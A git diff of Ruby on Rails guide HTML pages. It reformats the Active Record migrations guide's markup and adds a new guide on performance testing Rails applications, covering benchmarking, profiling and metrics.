+<div class="paragraph"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
<h3 id="_being_talkative">4.3. Being talkative</h3>
-<div class="para"><p>By default migrations tell you exactly what they're doing and how long it took.
+<div class="paragraph"><p>By default migrations tell you exactly what they&#8217;re doing and how long it took.
A migration creating a table and adding an index might produce output like this</p></div>
<div class="listingblock">
<div class="content">
@@ -753,8 +566,8 @@ A migration creating a table and adding an index might produce output like this<
-&gt; 0.0026s
== 20080906170109 CreateProducts: migrated (0.0059s) ==========================</tt></pre>
</div></div>
-<div class="para"><p>Several methods are provided that allow you to control all this:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Several methods are provided that allow you to control all this:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>suppress_messages</tt> suppresses any output generated by its block
@@ -771,7 +584,7 @@ A migration creating a table and adding an index might produce output like this<
</p>
</li>
</ul></div>
-<div class="para"><p>For example, this migration</p></div>
+<div class="paragraph"><p>For example, this migration</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -798,9 +611,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>products
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>generates the following output</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>generates the following output</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
@@ -811,13 +623,13 @@ http://www.gnu.org/software/src-highlite -->
-&gt; 250 rows
== 20080906170109 CreateProducts: migrated (10.0097s) =========================</tt></pre>
</div></div>
-<div class="para"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
+<div class="paragraph"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
</div>
<h2 id="models">5. Using Models In Your Migrations</h2>
<div class="sectionbody">
-<div class="para"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
-<div class="para"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
-<div class="para"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
+<div class="paragraph"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
+<div class="paragraph"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
+<div class="paragraph"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I&#8217;m not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -834,11 +646,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
<span style="color: #990000">...</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
<h3 id="_dealing_with_changing_models">5.1. Dealing with changing models</h3>
-<div class="para"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
+<div class="paragraph"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -857,19 +668,18 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
<span style="color: #990000">...</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_schema_dumping_and_you">6. Schema dumping and you</h2>
<div class="sectionbody">
<h3 id="schema">6.1. What are schema files for?</h3>
-<div class="para"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
-<div class="para"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
-<div class="para"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
-<div class="para"><p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
+<div class="paragraph"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
+<div class="paragraph"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
+<div class="paragraph"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
+<div class="paragraph"><p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model&#8217;s code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
<h3 id="_types_of_schema_dumps">6.2. Types of schema dumps</h3>
-<div class="para"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
-<div class="para"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you'll find that it looks an awful lot like one very big migration:</p></div>
+<div class="paragraph"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
+<div class="paragraph"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you&#8217;ll find that it looks an awful lot like one very big migration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -889,25 +699,24 @@ http://www.gnu.org/software/src-highlite -->
t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
t<span style="color: #990000">.</span>string <span style="color: #FF0000">"part_number"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
-<div class="para"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
-<div class="para"><p>Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
-<div class="para"><p>By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
+<div class="paragraph"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
+<div class="paragraph"><p>Instead of using Active Record&#8217;s schema dumper the database&#8217;s structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
+<div class="paragraph"><p>By definition this will be a perfect copy of the database&#8217;s structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
<h3 id="_schema_dumps_and_source_control">6.3. Schema dumps and source control</h3>
-<div class="para"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
+<div class="paragraph"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
</div>
<h2 id="foreign_key">7. Active Record and Referential Integrity</h2>
<div class="sectionbody">
-<div class="para"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
-<div class="para"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
-<div class="para"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
+<div class="paragraph"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
+<div class="paragraph"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
+<div class="paragraph"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
</div>
<h2 id="_changelog">8. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederick Cheung</a>
@@ -916,7 +725,7 @@ September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederi
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/performance_testing.html b/railties/doc/guides/html/performance_testing.html
new file mode 100644
index 0000000000..858076008d
--- /dev/null
+++ b/railties/doc/guides/html/performance_testing.html
@@ -0,0 +1,728 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Performance Testing Rails Applications</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+</head>
+<body>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_performance_test_cases">Performance Test Cases</a>
+ <ul>
+
+ <li><a href="#_generating_performance_tests">Generating performance tests</a></li>
+
+ <li><a href="#_examples">Examples</a></li>
+
+ <li><a href="#_modes">Modes</a></li>
+
+ <li><a href="#_metrics">Metrics</a></li>
+
+ <li><a href="#_understanding_the_output">Understanding the output</a></li>
+
+ <li><a href="#_tuning_test_runs">Tuning Test Runs</a></li>
+
+ <li><a href="#_performance_test_environment">Performance Test Environment</a></li>
+
+ <li><a href="#gc">Installing GC-Patched Ruby</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_command_line_tools">Command Line Tools</a>
+ <ul>
+
+ <li><a href="#_benchmarker">benchmarker</a></li>
+
+ <li><a href="#_profiler">profiler</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_helper_methods">Helper methods</a>
+ <ul>
+
+ <li><a href="#_model">Model</a></li>
+
+ <li><a href="#_controller">Controller</a></li>
+
+ <li><a href="#_view">View</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_request_logging">Request Logging</a>
+ </li>
+ <li>
+ <a href="#_useful_links">Useful Links</a>
+ <ul>
+
+ <li><a href="#_rails_plugins_and_gems">Rails Plugins and Gems</a></li>
+
+ <li><a href="#_generic_tools">Generic Tools</a></li>
+
+ <li><a href="#_tutorials_and_documentation">Tutorials and Documentation</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_commercial_products">Commercial Products</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Performance Testing Rails Applications</h1>
+ <div id="preamble">
+<div class="sectionbody">
+<div class="paragraph"><p>This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+Understand the various types of benchmarking and profiling metrics
+</p>
+</li>
+<li>
+<p>
+Generate performance and benchmarking tests
+</p>
+</li>
+<li>
+<p>
+Use a GC-patched Ruby binary to measure memory usage and object allocation
+</p>
+</li>
+<li>
+<p>
+Understand the benchmarking information provided by Rails inside the log files
+</p>
+</li>
+<li>
+<p>
+Learn about various tools facilitating benchmarking and profiling
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>Performance testing is an integral part of the development cycle. It is very important that you don&#8217;t make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.</p></div>
+</div>
+</div>
+<h2 id="_performance_test_cases">1. Performance Test Cases</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application&#8217;s memory or speed problems are coming from, and get a more in-depth picture of those problems.</p></div>
+<div class="paragraph"><p>In a freshly generated Rails application, <tt>test/performance/browsing_test.rb</tt> contains an example of a performance test:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+ get <span style="color: #FF0000">'/'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This example is a simple performance test case for profiling a GET request to the application&#8217;s homepage.</p></div>
+<h3 id="_generating_performance_tests">1.1. Generating performance tests</h3>
+<div class="paragraph"><p>Rails provides a generator called <tt>performance_test</tt> for creating new performance tests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>script/generate performance_test homepage</tt></pre></div></div>
+<div class="paragraph"><p>This generates <tt>homepage_test.rb</tt> in the <tt>test/performance</tt> directory:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+ get <span style="color: #FF0000">'/'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_examples">1.2. Examples</h3>
+<div class="paragraph"><p>Let&#8217;s assume your application has the following controller and model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># routes.rb</span></span>
+map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'home'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts
+
+<span style="font-style: italic"><span style="color: #9A1900"># home_controller.rb</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomeController <span style="color: #990000">&lt;</span> ApplicationController
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> dashboard
+ <span style="color: #009900">@users</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>last_ten<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>avatars<span style="color: #990000">)</span>
+ <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>all_today
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># posts_controller.rb</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+ redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># post.rb</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ before_save <span style="color: #990000">:</span>recalculate_costly_stats
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> slow_method
+ <span style="font-style: italic"><span style="color: #9A1900"># I fire gallzilion queries sleeping all around</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> recalculate_costly_stats
+ <span style="font-style: italic"><span style="color: #9A1900"># CPU heavy calculations</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h4 id="_controller_example">1.2.1. Controller Example</h4>
+<div class="paragraph"><p>Because performance tests are a special kind of integration test, you can use the <tt>get</tt> and <tt>post</tt> methods in them.</p></div>
+<div class="paragraph"><p>Here&#8217;s the performance test for <tt>HomeController#dashboard</tt> and <tt>PostsController#create</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostPerformanceTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+ <span style="font-style: italic"><span style="color: #9A1900"># Application requires logged-in user</span></span>
+ login_as<span style="color: #990000">(:</span>lifo<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+ get <span style="color: #FF0000">'/dashboard'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_creating_new_post
+ post <span style="color: #FF0000">'/posts'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'lifo is fooling you'</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can find more details about the <tt>get</tt> and <tt>post</tt> methods in the <a href="../testing_rails_applications.html#mgunderloy">Testing Rails Applications</a> guide.</p></div>
+<h4 id="_model_example">1.2.2. Model Example</h4>
+<div class="paragraph"><p>Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.</p></div>
+<div class="paragraph"><p>Performance test for <tt>Post</tt> model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostModelTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_creation
+ Post<span style="color: #990000">.</span>create <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'still fooling you'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>cost <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'100'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_slow_method
+ <span style="font-style: italic"><span style="color: #9A1900"># Using posts(:awesome) fixture</span></span>
+ posts<span style="color: #990000">(:</span>awesome<span style="color: #990000">).</span>slow_method
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_modes">1.3. Modes</h3>
+<div class="paragraph"><p>Performance tests can be run in two modes : Benchmarking and Profiling.</p></div>
+<h4 id="_benchmarking">1.3.1. Benchmarking</h4>
+<div class="paragraph"><p>Benchmarking helps find out how fast each performance test runs. Each test case is run <tt>4 times</tt> in benchmarking mode.</p></div>
+<div class="paragraph"><p>To run performance tests in benchmarking mode:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>benchmark</tt></pre></div></div>
+<h4 id="_profiling">1.3.2. Profiling</h4>
+<div class="paragraph"><p>Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run <tt>1 time</tt> in profiling mode.</p></div>
+<div class="paragraph"><p>To run performance tests in profiling mode:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>profile</tt></pre></div></div>
+<h3 id="_metrics">1.4. Metrics</h3>
+<div class="paragraph"><p>Benchmarking and profiling run performance tests in various modes described below.</p></div>
+<h4 id="_wall_time">1.4.1. Wall Time</h4>
+<div class="paragraph"><p>Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.</p></div>
+<div class="paragraph"><p>Mode : Benchmarking</p></div>
+<h4 id="_process_time">1.4.2. Process Time</h4>
+<div class="paragraph"><p>Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.</p></div>
+<div class="paragraph"><p>Mode : Profiling</p></div>
+<h4 id="_memory">1.4.3. Memory</h4>
+<div class="paragraph"><p>Memory measures the amount of memory used for the performance test case.</p></div>
+<div class="paragraph"><p>Mode : Benchmarking, Profiling [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
+<h4 id="_objects">1.4.4. Objects</h4>
+<div class="paragraph"><p>Objects measures the number of objects allocated for the performance test case.</p></div>
+<div class="paragraph"><p>Mode : Benchmarking, Profiling [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
+<h4 id="_gc_runs">1.4.5. GC Runs</h4>
+<div class="paragraph"><p>GC Runs measures the number of times GC was invoked for the performance test case.</p></div>
+<div class="paragraph"><p>Mode : Benchmarking [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
+<h4 id="_gc_time">1.4.6. GC Time</h4>
+<div class="paragraph"><p>GC Time measures the amount of time spent in GC for the performance test case.</p></div>
